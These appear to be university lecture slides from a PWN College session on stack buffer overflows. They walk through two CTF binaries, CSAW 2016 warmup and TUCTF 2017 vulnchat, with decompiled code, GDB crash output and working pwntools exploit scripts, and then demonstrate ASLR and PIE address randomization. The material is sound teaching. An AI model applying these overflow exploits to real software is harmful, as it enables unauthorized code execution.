PWN College

Session 9

Atousa Ahsani

References: https://pwn.college/, https://guyinatuxedo.github.io/

Stack Buffer Overflows

Csaw 2016 Quals Warmup

tuctf 2017 vulnchat

ASLR/PIE Introduction

Csaw 2016 Quals Warmup

- We are dealing with a **64-bit** binary with a **Non-Executable stack**.

```
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
```

- When we run it, it displays an **address** (looks like an address from the **code section** of the binary) and prompts us for **input**.

```
→ 1-csaw16_warmup ./warmup
-Warm Up-
WOW:0x401196
>ok
```

Csaw 2016 Quals Warmup

- We can see that the address being printed is the address of the function ***easy*** (which when we look at it's address in Ghidra we see it's ***0x40060d***).
- After that we can see it calls the function ***gets***, which is a bug since it doesn't limit how much data it scans in.
- With that bug we can totally reach the **return address** (the address on the **stack** that is executed after the ***ret*** call to return execution back to whatever code called it).

```
undefined8 main(void)

{
  char local_88 [64];
  char local_48 [64];

  write(1,"-Warm Up-\n",10);
  write(1,&DAT_0040201c,4);
  sprintf(local_88,"%p\n",easy);
  write(1,local_88,9);
  write(1,&DAT_00402025,1);
  gets(local_48);
  return 0;
}
void easy(void)

{
  char *local_28;
  undefined *local_20;
  undefined8 local_18;

  local_28 = "/bin/bash";
  local_20 = &DAT_0040200e;
  local_18 = 0;
  execve("/bin/bash",&local_28,(char **)0x0);
  return;
}
```

Csaw 2016 Quals Warmup

- First of all we have to figure out how much data we need to send before overwriting the **return address**.
- We passed 76 bytes as input:

```
gdb-peda$ r
Starting program: /home/atousa/PWNCollegeCourse_TMU/9/1-csaw16_warmup/warmup
-Warm Up-
WOW:0x401196
>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RIP: 0x7f0041414141
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x7f0041414141
```

- So we can see that after 72 bytes of input, we start overwriting the return address.

Csaw 2016 Quals Warmup

- Here is the exploit:
  - (python2.7 -c "import pwn; print 'A'*72 + pwn.p64(0x401196)"; cat) | ./warmup

```
→  1-csaw16_warmup (python2.7 -c "import pwn; print 'A'*72 + pwn.p64(0x401196)"; cat) | ./warmup
-Warm Up-
WOW:0x401196
>ls
flag.txt  solve.txt  warmup
cat flag.txt
flag{g0ttem_b0yz}
```

Stack Buffer Overflows

Csaw 2016 Quals Warmup

tuctf 2017 vulnchat

ASLR/PIE Introduction

tuctf 2017 vulnchat

- We are dealing with a **32-bit** binary.
- When we run it, it prompts us for **two** separate **inputs**. The first is a **username**, and the second is a **string** that is supposed to make it trust us.

```
➜  2-tu17_vulnchat ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: Alex
Welcome Alex!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
Alex: You can trust me
djinn: Sorry. That's not good enough
```

tuctf 2017 vulnchat

- So we can see, the program essentially calls ***scanf*** twice.
- The input is first scanned into ***local_1d***, then into ***local_31***.
- The format specifier is stored on the stack in the ***local_9*** variable. We can see in the assembly code that it is initialized to ***%30s***:

```
>>> import pwn
>>> pwn.p32(0x73303325)
'%30s'
```

```
undefined4 main(void)

{
  undefined local_31 [20];
  undefined local_1d [20];
  undefined4 local_9;
  undefined local_5;

  setvbuf(stdout,(char *)0x0,2,0x14);
  puts("----------- Welcome to vuln-chat -------------");
  printf("Enter your username: ");
  local_9 = 0x73303325;
  local_5 = 0;
  __isoc99_scanf(&local_9,local_1d);
  printf("Welcome %s!\n",local_1d);
  puts("Connecting to \'djinn\'");
  sleep(1);
  puts("--- \'djinn\' has joined your chat ---");
  puts("djinn: I have the information. But how do I know I can trust you?");
  printf("%s: ",local_1d);
  __isoc99_scanf(&local_9,local_31);
  puts("djinn: Sorry. That\'s not good enough");
  fflush(stdout);
  return 0;
}
```

tuctf 2017 vulnchat

- So both times by default it will let us scan in **30 characters**. Since we can scan in 30 bytes worth of data, this gives us a **10 byte overflow** in **both** cases.
- With the **first** overflow (the one to ***local_1d***) we will be able to overwrite the value of ***local_9***. This will allow us to specify how much data the second ***scanf*** call will scan. With that we will be able to scan in more than enough data to overwrite the saved **return address**, and get code execution when the ***ret*** instruction executes.
- For what function to call, the ***printFlag*** function at ***0x804856b*** seems to be a good candidate. It just prints the context of the flag using ***cat***.

```
{
  system("/bin/cat ./flag.txt");
  puts("Use it wisely");
  return;
}
```

tuctf 2017 vulnchat

- ***Local_9*** is stored in $Stack[-0x9]$ and ***local_1d*** is stored in $Stack[-0x1d]$. So we need to write $0x1d$ – $0x9$ $= 20$ bytes to reach ***local_9***.

```
# overflow 1:
payload0 = "A"*20 + "%99s"
target.sendline(payload0)
```

- ***Local_31*** is stored in $Stack[-0x31]$. So we need to write **0x31** bytes to fill the stack and reach the **return address**.

```
# overflow 2:
payload1 = "B"*49 + p32(0x804856b)
target.sendline(payload1)
```

tuctf 2017 vulnchat

- Putting it all together we get the following exploit:

```python
from pwn import *

target = process('./vuln-chat')
print target.recvuntil("username: ")

# overflow 1:
payload0 = "A"*20 + "%99s"
target.sendline(payload0)

print target.recvuntil("I know I can trust you?")

# overflow 2:
payload1 = "B"*49 + p32(0x804856b)
target.sendline(payload1)

target.interactive()
```

Stack Buffer Overflows

Csaw 2016 Quals Warmup

tuctf 2017 vulnchat

ASLR/PIE Introduction

ASLR/PIE Introduction

- With exploiting binaries, there are various mitigations that you will face that will make it harder to exploit.
  - **Address Space Layout Randomization (ASLR)**
  - **Position-Independent Executable (PIE)**

ASLR

- **Address Space Layout Randomization (ASLR)**
  - ASLR is a computer security technique involved in preventing **exploitation** of **memory corruption** vulnerabilities.
  - In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, **ASLR** randomly arranges the **address space positions** of key **data areas** of a process, including the base of the **executable** and the **positions** of the **stack**, **heap** and **libraries**.
  - As an **operating system feature** ASLR is available on all modern platforms.
  - On **Linux** systems **ASLR** for user programs is implemented as an operating system feature and is **enabled** or **disabled globally**.
  - Its status is represented by the file ***/proc/sys/kernel/randomize_va_space***.

Value	Description
0	ASLR is disabled
1	Stack and shared library offsets are randomized
2	Additionally to value 1, also the heap offset is randomized

```
➜  ~ cat /proc/sys/kernel/randomize_va_space
2
```

ASLR

- The program below is used to inspect the effects of the different **ASLR values** on different types of process addresses.

```c
// gcc addresses.c -no-pie -fno-pie -ldl
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

int main()
{
    int stack;
    int *heap = malloc(sizeof(int));

    printf("executable: %p\n", &main);
    printf("stack: %p\n", &stack);
    printf("heap: %p\n", heap);
    printf("system@plt: %p\n", &system);

    void *handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);
    printf("libc: %p\n", handle);
    printf("system: %p\n", dlsym(handle, "system"));

    free(heap);
    return 0;
}
```

- If your program uses ***dlopen***, ***dlsym***, ***dlclose***, ***dlerror*** display load dynamic library, set the link option ***–ldl***.
- ***dlopen***
  - To open the dynamic library.
- ***dlsym***
  - Take the function **execution address**

ASLR

- First, use a value of 0 during the execution:

```
→  3-ASLR echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for atousa:
0
→  3-ASLR ./a.out
executable: 0x4011f6
stack: 0x7fffffffdf44
heap: 0x4052a0
system@plt: 0x4010c0
libc: 0x7ffff7faa500
system: 0x7ffff7e07410
→  3-ASLR ./a.out
executable: 0x4011f6
stack: 0x7fffffffdf44
heap: 0x4052a0
system@plt: 0x4010c0
libc: 0x7ffff7faa500
system: 0x7ffff7e07410
```

- Clearly, all addresses are **unchanged** during both executions.

ASLR

- Having **ASLR** enabled with the value **1** results in the following output.

```
→  3-ASLR echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
1
→  3-ASLR ./a.out
executable: 0x4011f6
stack: 0x7ffca5f70654
heap: 0x4052a0
system@plt: 0x4010c0
libc: 0x7f4b7ac55500
system: 0x7f4b7aab2410
→  3-ASLR ./a.out
executable: 0x4011f6
stack: 0x7ffc69aa5244
heap: 0x4052a0
system@plt: 0x4010c0
libc: 0x7fc74ac8e500
system: 0x7fc74aaeb410
```

- We can see that the **stack** and the **shared library** including the **system()** function are randomized. However, this is not true for the **code** of the executable itself, the **heap** and the **PLT**.

ASLR

- Increase the **ASLR** value to **2** and check again.

```
➜  3-ASLR echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
2
➜  3-ASLR ./a.out
executable: 0x4011f6
stack: 0x7ffda7e304f4
heap: 0x1bd32a0
system@plt: 0x4010c0
libc: 0x7f487a838500
system: 0x7f487a695410
➜  3-ASLR ./a.out
executable: 0x4011f6
stack: 0x7ffd696aa224
heap: 0x10242a0
system@plt: 0x4010c0
libc: 0x7f5b163bc500
system: 0x7f5b16219410
```

- Now all addresses except for the **executable itself** and the **PLT** are randomized which is still a security risk.

- We will improve this situation using **PIE**.

ASLR

- Summarizing **ASLR**, the table below shows how the used ASLR value and the randomization of addresses correlate.

ASLR value	Executable	Stack	Heap	PLT	Shared libraries
0	✗	✗	✗	✗	✗
1	✗	✓	✗	✗	✓
2	✗	✓	✓	✗	✓

PIE

- **Position-Independent Executable (PIE)**
  - **Position-independent Code** (**PIC**) is a **compiler feature** which produces code that can be loaded at **arbitrary addresses**.
  - Binaries consisting of only **position-independent** code are called **Position-independent Executables** (**PIE**).

PIE

- We use the previous example to inspect the effect of **PIE** on process addresses.
- Compilation command: *gcc addresses.c -ldl*

```
→  4-PIE echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
2
→  4-PIE ./a.out
executable: 0x5579fa4ce1e9
stack: 0x7ffded0c2dd4
heap: 0x5579fbf682a0
system@plt: 0x7ff21f34b410
libc: 0x7ff21f4ee500
system: 0x7ff21f34b410
→  4-PIE ./a.out
executable: 0x555611ed21e9
stack: 0x7ffd5fc19054
heap: 0x555612c902a0
system@plt: 0x7f026e268410
libc: 0x7f026e40b500
system: 0x7f026e268410
```

- It can be concluded that additionally to **ASLR** also the **executable** itself and the **PLT** are randomized.

PIE

- Note that **PIE** is a **compiler option** and needs to be applied to **every executable separately**.

Flag	Description
-fpie	Enable PIE compilation
-fno-pie	Disable PIE compilation
-pie	Enable PIE for linking
-no-pie	Disable PIE for linking

PIE

- **Four Steps** of **Compilation**:
  - **Preprocessing**
    - Removing **comments**, expanding **macros**, expanding **included** files
  - **Compiling**
    - It takes the output of the **preprocessor** and generates **assembly language** an intermediate **human readable** language, specific to the target **processor**.
  - **Assembly**
    - The assembler will convert the **assembly** code into **pure binary code** or **machine code** (**zeros** and **ones**).
  - **Linking**
    - The linker **merges** all the **object code** from multiple modules into a **single one**. If we are using a function from **libraries**, linker will link our code with that library function code.
    - In **static** linking, the linker makes a **copy** of all **used library functions** to the executable file. In **dynamic** linking, the code is not copied, it is done by just **placing** the **name** of the **library** in the binary file.